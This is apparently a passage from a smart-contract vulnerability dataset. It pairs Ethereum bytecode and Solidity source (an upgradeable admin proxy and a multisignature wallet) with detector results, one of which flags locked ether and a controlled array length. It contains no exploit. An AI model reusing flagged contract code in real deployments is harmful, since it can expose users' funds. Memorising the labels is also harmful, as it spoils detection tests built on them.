040154612f2590919063ffffffff16565b600660008581526020019081526020016000206000848152602001908152602001600020600401819055507fae8dee14de239bff30e16ca4660618bc0b5c1ea651d05bb0047d503833b3e16383838360405180848152602001838152602001828152602001935050505060405180910390a1505050565b6000806000905060008090505b600580549050811015611794578360058281548110151561176d57fe5b906000526020600020015414156117875760019150611794565b8080600101915050611750565b5080915050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630c3f64bf336040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561185857600080fd5b505afa15801561186c573d6000803e3d6000fd5b505050506040513d602081101561188257600080fd5b8101908080519060200190929190505050151561189e57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166002600084815260200190815260200160002060020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415156119ad57806002600084815260200190815260200160002060020160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff167f87ff556eccbb2f58c907342089c01a5cefd52ef23dfd35cd25bd5eb10c05612e836040518082815260200191505060405180910390a25b5050565b60003073ffffffffffffffffffffffffffffffffffffffff166355302ebd846040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018082815260200191505060206040518083038186803b158015611a2057600080fd5b505afa158015611a34573d6000803e3d6000fd5b505050506040513d6020811015611a4a57600080fd5b810190808051906020019092919050505080611b3657503073ffffffffffffffffffffffffffffffffffffffff1663ff706170836040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015611afa57600080fd5b505afa158015611b0e573d6000803e3d6000fd5b505050506040513d6020811015611b2457600080fd5b81019080805190602001909291905050505b8015611b80575082600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b905092915050565b60006002600083815260200190815260200160002060020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b600060066000848152602001908152602001600020600083815260200190815260200160002060020154905092915050565b600080600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16639d52f74b846040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018082815260200191505060206040518083038186803b158015611c8c57600080fd5b505afa158015611ca0573d6000803e3d6000fd5b505050506040513d6020811015611cb657600080fd5b8101908080519060200190929190505050905042611d048260066000888152602001908152602001600020600087815260200190815260200160002060000154612f2590919063ffffffff16565b1115611d5e57611d5642611d488360066000898152602001908152602001600020600088815260200190815260200160002060000154612f2590919063ffffffff16565b61305190919063ffffffff16565b915050611d64565b60009150505b92915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630c3f64bf336040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015611e2457600080fd5b505afa158015611e38573d6000803e3d6000fd5b505050506040513d6020811015611e4e57600080fd5b81019080805190602001909291905050501515611e6a57600080fd5b611ea48160066000868152602001908152602001600020600085815260200190815260200160002060030154612f2590919063ffffffff16565b600660008581526020019081526020016000206000848152602001908152602001600020600301819055507f809d2aea0ae2192ed41bb0d042d034125ab58fc48a512d686e8961a7a80b413183838360405180848152602001838152602001828152602001935050505060405180910390a1505050565b600080600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16639d52f74b846040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018082815260200191505060206040518083038186803b158015611fad57600080fd5b505afa158015611fc1573d6000803e3d6000fd5b505050506040513d6020811015611fd757600080fd5b81019080805190602001909291905050509050426120258260066000888152602001908152602001600020600087815260200190815260200160002060000154612f2590919063ffffffff16565b10612031576001612034565b60005b91505092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166324d7806c336040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156120f757600080fd5b505afa15801561210b573d6000803e3d6000fd5b505050506040513d602081101561212157600080fd5b8101908080519060200190929190505050151561213d57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141580156121a75750600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b15156121b257600080fd5b816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fd69bedce2d54897893feb804cd08687c76d5382142144f5a1be7cd13b441942a60405160405180910390a35050565b600060066000848152602001908152602001600020600083815260200190815260200160002060010154905092915050565b60008060006002600085815260200190815260200160002060020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600260008681526020019081526020016000206001015460026000878152602001908152602001600020600301549250925092509193909250565b600060066000848152602001908152602001600020600083815260200190815260200160002060040154905092915050565b600060066000848152602001908152602001600020600083815260200190815260200160002060030154905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630c3f64bf336040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561245857600080fd5b505afa15801561246c573d6000803e3d6000fd5b505050506040513d602081101561248257600080fd5b8101908080519060200190929190505050151561249e57600080fd5b42600660008481526020019081526020016000206000838152602001908152602001600020600001819055507f0a65070f541bcd2489b6c3b90cbb1db6649d5c21d42788aa52de9433efb0e02982824260405180848152602001838152602001828152602001935050505060405180910390a15050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630c3f64bf336040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156125d157600080fd5b505afa1580156125e5573d6000803e3d6000fd5b505050506040513d60208110156125fb57600080fd5b8101908080519060200190929190505050151561261757600080fd5b600060010285141580156126585750600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015612668575060006001028314155b151561267357600080fd5b3073ffffffffffffffffffffffffffffffffffffffff1663ff706170856040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561270c57600080fd5b505afa158015612720573d6000803e3d6000fd5b505050506040513d602081101561273657600080fd5b8101908080519060200190929190505050156127a25784600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414151561279957600080fd5b60019050612b29565b600260008681526020019081526020016000206000018490806001815401808255809150509060018203906000526020600020016000909192909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050600060010282141515612845578160026000878152602001908152602001600020600101819055505b836002600087815260200190815260200160002060020160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555042600260008781526020019081526020016000206003018190555084600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060048490806001815401808255809150509060018203906000526020600020016000909192909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050600015153073ffffffffffffffffffffffffffffffffffffffff166355302ebd876040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018082815260200191505060206040518083038186803b1580156129d057600080fd5b505afa1580156129e4573d6000803e3d6000fd5b505050506040513d60208110156129fa57600080fd5b810190808051906020019092919050505015151415612ac657600585908060018154018082558091505090600182039060005260206000200160009091929091909150555060a06040519081016040528060008152602001600081526020016000815260200160008152602001600081525060066000878152602001908152602001600020600085815260200190815260200160002060008201518160000155602082015181600101556040820151816002015560608201518160030155608082015181600401559050505b8373ffffffffffffffffffffffffffffffffffffffff167fac47ff3035cc68f47b4267887be19338a7a24f68f4d0a07a7e8ea2c03cca284886844260405180848152602001838152602001828152602001935050505060405180910390a2600190505b949350505050565b600080600080600060076000888152602001908152602001600020600087815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660076000898152602001908152602001600020600088815260200190815260200160002060010154600760008a8152602001908152602001600020600089815260200190815260200160002060020154600760008b815260200190815260200160002060008a815260200190815260200160002060030154600760008c815260200190815260200160002060008b815260200190815260200160002060040154945094509450945094509295509295909350565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630c3f64bf336040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015612cef57600080fd5b505afa158015612d03573d6000803e3d6000fd5b505050506040513d6020811015612d1957600080fd5b81019080805190602001909291905050501515612d3557600080fd5b60a0604051908101604052808573ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018381526020018281526020014281525060076000878152602001908152602001600020600085815260200190815260200160002060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550602082015181600101556040820151816002015560608201518160030155608082015181600401559050508373ffffffffffffffffffffffffffffffffffffffff167f94b1722e5bc395411621691406512a33b497bb24441fd7fe974d89b4dac7fabd8685858542604051808681526020018581526020018481526020018381526020018281526020019550505050505060405180910390a25050505050565b6000806000905060008090505b600480549050811015612f1b578373ffffffffffffffffffffffffffffffffffffffff16600482815481101515612ebe57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415612f0e5760019150612f1b565b8080600101915050612e8b565b5080915050919050565b60008183019050828110151515612fa4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f536166654d61746820616464206661696c65640000000000000000000000000081525060200191505060405180910390fd5b80905092915050565b600080831415612fc0576000905061304b565b8183029050818382811515612fd157fe5b04141515613047576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f536166654d617468206d756c206661696c65640000000000000000000000000081525060200191505060405180910390fd5b8090505b92915050565b60008282111515156130cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f536166654d61746820737562206661696c65640000000000000000000000000081525060200191505060405180910390fd5b81830390509291505056fea165627a7a723058206caccce196f952db14c2924812b485adb9185d06b901b52fcede31890224fcea0029
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
5,612
0xbcd8ba681881650c1a10471227892ed223ffb276
/** *Submitted for verification at Etherscan.io on 2020-10-09 */ // SPDX-License-Identifier: MIT pragma solidity ^0.6.2; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } } /** * @title Proxy * @dev Implements delegation of calls to other contracts, with proper * forwarding of return values and bubbling of failures. * It defines a fallback function that delegates all calls to the address * returned by the abstract _implementation() internal function. */ abstract contract Proxy { /** * @dev Fallback function. * Implemented entirely in `_fallback`. */ fallback () payable external { _fallback(); } /** * @dev Receive function. * Implemented entirely in `_fallback`. */ receive () payable external { _fallback(); } /** * @return The Address of the implementation. */ function _implementation() internal virtual view returns (address); /** * @dev Delegates execution to an implementation contract. * This is a low level function that doesn't return to its internal call site. * It will return to the external caller whatever the implementation returns. * @param implementation Address to delegate. */ function _delegate(address implementation) internal { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev Function that is run as the first thing in the fallback function. * Can be redefined in derived contracts to add functionality. * Redefinitions must call super._willFallback(). */ function _willFallback() internal virtual { } /** * @dev fallback implementation. * Extracted to enable manual triggering. */ function _fallback() internal { _willFallback(); _delegate(_implementation()); } } /** * @title UpgradeabilityProxy * @dev This contract implements a proxy that allows to change the * implementation address to which it will delegate. * Such a change is called an implementation upgrade. */ contract UpgradeabilityProxy is Proxy { /** * @dev Contract constructor. * @param _logic Address of the initial implementation. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ constructor(address _logic, bytes memory _data) public payable { assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1)); _setImplementation(_logic); if(_data.length > 0) { (bool success,) = _logic.delegatecall(_data); require(success); } } /** * @dev Emitted when the implementation is upgraded. * @param implementation Address of the new implementation. */ event Upgraded(address indexed implementation); /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Returns the current implementation. * @return impl Address of the current implementation */ function _implementation() internal override view returns (address impl) { bytes32 slot = IMPLEMENTATION_SLOT; assembly { impl := sload(slot) } } /** * @dev Upgrades the proxy to a new implementation. * @param newImplementation Address of the new implementation. */ function _upgradeTo(address newImplementation) internal { _setImplementation(newImplementation); emit Upgraded(newImplementation); } /** * @dev Sets the implementation address of the proxy. * @param newImplementation Address of the new implementation. */ function _setImplementation(address newImplementation) internal { require(Address.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address"); bytes32 slot = IMPLEMENTATION_SLOT; assembly { sstore(slot, newImplementation) } } } /** * @title AdminUpgradeabilityProxy * @dev This contract combines an upgradeability proxy with an authorization * mechanism for administrative tasks. * All external functions in this contract must be guarded by the * `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity * feature proposal that would enable this to be done automatically. */ contract AdminUpgradeabilityProxy is UpgradeabilityProxy { /** * Contract constructor. * @param _logic address of the initial implementation. * @param _admin Address of the proxy administrator. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ constructor(address _logic, address _admin, bytes memory _data) UpgradeabilityProxy(_logic, _data) public payable { assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1)); _setAdmin(_admin); } /** * @dev Emitted when the administration has been transferred. * @param previousAdmin Address of the previous admin. * @param newAdmin Address of the new admin. */ event AdminChanged(address previousAdmin, address newAdmin); /** * @dev Storage slot with the admin of the contract. * This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103; /** * @dev Modifier to check whether the `msg.sender` is the admin. * If it is, it will run the function. Otherwise, it will delegate the call * to the implementation. */ modifier ifAdmin() { if (msg.sender == _admin()) { _; } else { _fallback(); } } /** * @return The address of the proxy admin. */ function admin() external ifAdmin returns (address) { return _admin(); } /** * @return The address of the implementation. */ function implementation() external ifAdmin returns (address) { return _implementation(); } /** * @dev Changes the admin of the proxy. * Only the current admin can call this function. * @param newAdmin Address to transfer proxy administration to. */ function changeAdmin(address newAdmin) external ifAdmin { require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address"); emit AdminChanged(_admin(), newAdmin); _setAdmin(newAdmin); } /** * @dev Upgrade the backing implementation of the proxy. * Only the admin can call this function. * @param newImplementation Address of the new implementation. */ function upgradeTo(address newImplementation) external ifAdmin { _upgradeTo(newImplementation); } /** * @dev Upgrade the backing implementation of the proxy and call a function * on the new implementation. * This is useful to initialize the proxied contract. * @param newImplementation Address of the new implementation. * @param data Data to send as msg.data in the low level call. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. */ function upgradeToAndCall(address newImplementation, bytes calldata data) payable external ifAdmin { _upgradeTo(newImplementation); (bool success,) = newImplementation.delegatecall(data); require(success); } /** * @return adm The admin slot. */ function _admin() internal view returns (address adm) { bytes32 slot = ADMIN_SLOT; assembly { adm := sload(slot) } } /** * @dev Sets the address of the proxy admin. * @param newAdmin Address of the new proxy admin. */ function _setAdmin(address newAdmin) internal { bytes32 slot = ADMIN_SLOT; assembly { sstore(slot, newAdmin) } } /** * @dev Only fall back when the sender is not the admin. */ function _willFallback() internal override virtual { require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin"); super._willFallback(); } }
0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100985780635c60da1b146101185780638f28397014610149578063f851a4401461017c5761005d565b3661005d5761005b610191565b005b61005b610191565b34801561007157600080fd5b5061005b6004803603602081101561008857600080fd5b50356001600160a01b03166101ab565b61005b600480360360408110156100ae57600080fd5b6001600160a01b0382351691908101906040810160208201356401000000008111156100d957600080fd5b8201836020820111156100eb57600080fd5b8035906020019184600183028401116401000000008311171561010d57600080fd5b5090925090506101e5565b34801561012457600080fd5b5061012d610292565b604080516001600160a01b039092168252519081900360200190f35b34801561015557600080fd5b5061005b6004803603602081101561016c57600080fd5b50356001600160a01b03166102cf565b34801561018857600080fd5b5061012d610389565b6101996103ba565b6101a96101a461041a565b61043f565b565b6101b3610463565b6001600160a01b0316336001600160a01b031614156101da576101d581610488565b6101e2565b6101e2610191565b50565b6101ed610463565b6001600160a01b0316336001600160a01b031614156102855761020f83610488565b6000836001600160a01b031683836040518083838082843760405192019450600093509091505080830381855af49150503d806000811461026c576040519150601f19603f3d011682016040523d82523d6000602084013e610271565b606091505b505090508061027f57600080fd5b5061028d565b61028d610191565b505050565b600061029c610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd61041a565b90506102cc565b6102cc610191565b90565b6102d7610463565b6001600160a01b0316336001600160a01b031614156101da576001600160a01b0381166103355760405162461bcd60e51b81526004018080602001828103825260368152602001806105876036913960400191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61035e610463565b604080516001600160a01b03928316815291841660208301528051918290030190a16101d5816104c8565b6000610393610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd610463565b3b151590565b6103c2610463565b6001600160a01b0316336001600160a01b031614156104125760405162461bcd60e51b81526004018080602001828103825260328152602001806105556032913960400191505060405180910390fd5b6101a96101a9565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b3660008037600080366000845af43d6000803e80801561045e573d6000f35b3d6000fd5b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035490565b610491816104ec565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610355565b6104f5816103b4565b6105305760405162461bcd60e51b815260040180806020018281038252603b8152602001806105bd603b913960400191505060405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5556fe43616e6e6f742063616c6c2066616c6c6261636b2066756e6374696f6e2066726f6d207468652070726f78792061646d696e43616e6e6f74206368616e6765207468652061646d696e206f6620612070726f787920746f20746865207a65726f206164647265737343616e6e6f742073657420612070726f787920696d706c656d656e746174696f6e20746f2061206e6f6e2d636f6e74726163742061646472657373a264697066735822122073c4c21e5c673ed7cd3c216206991b426c7391cadd714e9a2c3f3ee94217be2b64736f6c634300060c0033
{"success": true, "error": null, "results": {}}
5,613
0x3c5f3161deae3e444f334cf5a5f85cca914a8397
pragma solidity ^0.4.19; /// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution. /// @author Stefan George - <<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="1d6e69787b7c73337a78726f7a785d7e72736e78736e646e33737869">[email&#160;protected]</a>> contract MultiSigWallet { /* * Events */ event Confirmation(address indexed sender, uint indexed transactionId); event Revocation(address indexed sender, uint indexed transactionId); event Submission(uint indexed transactionId); event Execution(uint indexed transactionId); event ExecutionFailure(uint indexed transactionId); event Deposit(address indexed sender, uint value); event OwnerAddition(address indexed owner); event OwnerRemoval(address indexed owner); event RequirementChange(uint required); /* * Constants */ uint constant public MAX_OWNER_COUNT = 50; /* * Storage */ mapping (uint => Transaction) public transactions; mapping (uint => mapping (address => bool)) public confirmations; mapping (address => bool) public isOwner; address[] public owners; uint public required; uint public transactionCount; struct Transaction { address destination; uint value; bytes data; bool executed; } /* * Modifiers */ modifier onlyWallet() { require(msg.sender == address(this)); _; } modifier ownerDoesNotExist(address owner) { require(!isOwner[owner]); _; } modifier ownerExists(address owner) { require(isOwner[owner]); _; } modifier transactionExists(uint transactionId) { require(transactions[transactionId].destination != 0); _; } modifier confirmed(uint transactionId, address owner) { require(confirmations[transactionId][owner]); _; } modifier notConfirmed(uint transactionId, address owner) { require(!confirmations[transactionId][owner]); _; } modifier notExecuted(uint transactionId) { require(!transactions[transactionId].executed); _; } modifier notNull(address _address) { require(_address != 0); _; } modifier validRequirement(uint ownerCount, uint _required) { require(ownerCount <= MAX_OWNER_COUNT && _required <= ownerCount && _required != 0 && ownerCount != 0); _; } /// @dev Fallback function allows to deposit ether. function() payable { if (msg.value > 0) Deposit(msg.sender, msg.value); } /* * Public functions */ /// @dev Contract constructor sets initial owners and required number of confirmations. /// @param _owners List of initial owners. /// @param _required Number of required confirmations. function MultiSigWallet(address[] _owners, uint _required) public validRequirement(_owners.length, _required) { for (uint i=0; i<_owners.length; i++) { require(!isOwner[_owners[i]] && _owners[i] != 0); isOwner[_owners[i]] = true; } owners = _owners; required = _required; } /// @dev Allows to add a new owner. Transaction has to be sent by wallet. /// @param owner Address of new owner. function addOwner(address owner) public onlyWallet ownerDoesNotExist(owner) notNull(owner) validRequirement(owners.length + 1, required) { isOwner[owner] = true; owners.push(owner); OwnerAddition(owner); } /// @dev Allows to remove an owner. Transaction has to be sent by wallet. /// @param owner Address of owner. function removeOwner(address owner) public onlyWallet ownerExists(owner) { isOwner[owner] = false; for (uint i=0; i<owners.length - 1; i++) if (owners[i] == owner) { owners[i] = owners[owners.length - 1]; break; } owners.length -= 1; if (required > owners.length) changeRequirement(owners.length); OwnerRemoval(owner); } /// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet. /// @param owner Address of owner to be replaced. /// @param newOwner Address of new owner. function replaceOwner(address owner, address newOwner) public onlyWallet ownerExists(owner) ownerDoesNotExist(newOwner) { for (uint i=0; i<owners.length; i++) if (owners[i] == owner) { owners[i] = newOwner; break; } isOwner[owner] = false; isOwner[newOwner] = true; OwnerRemoval(owner); OwnerAddition(newOwner); } /// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet. /// @param _required Number of required confirmations. function changeRequirement(uint _required) public onlyWallet validRequirement(owners.length, _required) { required = _required; RequirementChange(_required); } /// @dev Allows an owner to submit and confirm a transaction. /// @param destination Transaction target address. /// @param value Transaction ether value. /// @param data Transaction data payload. /// @return Returns transaction ID. function submitTransaction(address destination, uint value, bytes data) public returns (uint transactionId) { transactionId = addTransaction(destination, value, data); confirmTransaction(transactionId); } /// @dev Allows an owner to confirm a transaction. /// @param transactionId Transaction ID. function confirmTransaction(uint transactionId) public ownerExists(msg.sender) transactionExists(transactionId) notConfirmed(transactionId, msg.sender) { confirmations[transactionId][msg.sender] = true; Confirmation(msg.sender, transactionId); executeTransaction(transactionId); } /// @dev Allows an owner to revoke a confirmation for a transaction. /// @param transactionId Transaction ID. function revokeConfirmation(uint transactionId) public ownerExists(msg.sender) confirmed(transactionId, msg.sender) notExecuted(transactionId) { confirmations[transactionId][msg.sender] = false; Revocation(msg.sender, transactionId); } /// @dev Allows anyone to execute a confirmed transaction. /// @param transactionId Transaction ID. function executeTransaction(uint transactionId) public ownerExists(msg.sender) confirmed(transactionId, msg.sender) notExecuted(transactionId) { if (isConfirmed(transactionId)) { Transaction storage txn = transactions[transactionId]; txn.executed = true; if (external_call(txn.destination, txn.value, txn.data.length, txn.data)) Execution(transactionId); else { ExecutionFailure(transactionId); txn.executed = false; } } } // call has been separated into its own function in order to take advantage // of the Solidity&#39;s code generator to produce a loop that copies tx.data into memory. function external_call(address destination, uint value, uint dataLength, bytes data) private returns (bool) { bool result; assembly { let x := mload(0x40) // "Allocate" memory for output (0x40 is where "free memory" pointer is stored by convention) let d := add(data, 32) // First 32 bytes are the padded length of data, so exclude that result := call( sub(gas, 34710), // 34710 is the value that solidity is currently emitting // It includes callGas (700) + callVeryLow (3, to pay for SUB) + callValueTransferGas (9000) + // callNewAccountGas (25000, in case the destination address does not exist and needs creating) destination, value, d, dataLength, // Size of the input (in bytes) - this is what fixes the padding problem x, 0 // Output is ignored, therefore the output size is zero ) } return result; } /// @dev Returns the confirmation status of a transaction. /// @param transactionId Transaction ID. /// @return Confirmation status. function isConfirmed(uint transactionId) public constant returns (bool) { uint count = 0; for (uint i=0; i<owners.length; i++) { if (confirmations[transactionId][owners[i]]) count += 1; if (count == required) return true; } } /* * Internal functions */ /// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet. /// @param destination Transaction target address. /// @param value Transaction ether value. /// @param data Transaction data payload. /// @return Returns transaction ID. function addTransaction(address destination, uint value, bytes data) internal notNull(destination) returns (uint transactionId) { transactionId = transactionCount; transactions[transactionId] = Transaction({ destination: destination, value: value, data: data, executed: false }); transactionCount += 1; Submission(transactionId); } /* * Web3 call functions */ /// @dev Returns number of confirmations of a transaction. /// @param transactionId Transaction ID. /// @return Number of confirmations. function getConfirmationCount(uint transactionId) public constant returns (uint count) { for (uint i=0; i<owners.length; i++) if (confirmations[transactionId][owners[i]]) count += 1; } /// @dev Returns total number of transactions after filers are applied. /// @param pending Include pending transactions. /// @param executed Include executed transactions. /// @return Total number of transactions after filters are applied. function getTransactionCount(bool pending, bool executed) public constant returns (uint count) { for (uint i=0; i<transactionCount; i++) if ( pending && !transactions[i].executed || executed && transactions[i].executed) count += 1; } /// @dev Returns list of owners. /// @return List of owner addresses. function getOwners() public constant returns (address[]) { return owners; } /// @dev Returns array with owner addresses, which confirmed transaction. /// @param transactionId Transaction ID. /// @return Returns array of owner addresses. function getConfirmations(uint transactionId) public constant returns (address[] _confirmations) { address[] memory confirmationsTemp = new address[](owners.length); uint count = 0; uint i; for (i=0; i<owners.length; i++) if (confirmations[transactionId][owners[i]]) { confirmationsTemp[count] = owners[i]; count += 1; } _confirmations = new address[](count); for (i=0; i<count; i++) _confirmations[i] = confirmationsTemp[i]; } /// @dev Returns list of transaction IDs in defined range. /// @param from Index start position of transaction array. /// @param to Index end position of transaction array. /// @param pending Include pending transactions. /// @param executed Include executed transactions. /// @return Returns array of transaction IDs. function getTransactionIds(uint from, uint to, bool pending, bool executed) public constant returns (uint[] _transactionIds) { uint[] memory transactionIdsTemp = new uint[](transactionCount); uint count = 0; uint i; for (i=0; i<transactionCount; i++) if ( pending && !transactions[i].executed || executed && transactions[i].executed) { transactionIdsTemp[count] = i; count += 1; } _transactionIds = new uint[](to - from); for (i=from; i<to; i++) _transactionIds[i - from] = transactionIdsTemp[i]; } } /// @title Multisignature wallet with daily limit - Allows an owner to withdraw a daily limit without multisig. /// @author Stefan George - <<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="483b3c2d2e2926662f2d273a2f2d082b27263b2d263b313b66262d3c">[email&#160;protected]</a>> contract MultiSigWalletWithDailyLimit is MultiSigWallet { /* * Events */ event DailyLimitChange(uint dailyLimit); /* * Storage */ uint public dailyLimit; uint public lastDay; uint public spentToday; /* * Public functions */ /// @dev Contract constructor sets initial owners, required number of confirmations and daily withdraw limit. /// @param _owners List of initial owners. /// @param _required Number of required confirmations. /// @param _dailyLimit Amount in wei, which can be withdrawn without confirmations on a daily basis. function MultiSigWalletWithDailyLimit(address[] _owners, uint _required, uint _dailyLimit) public 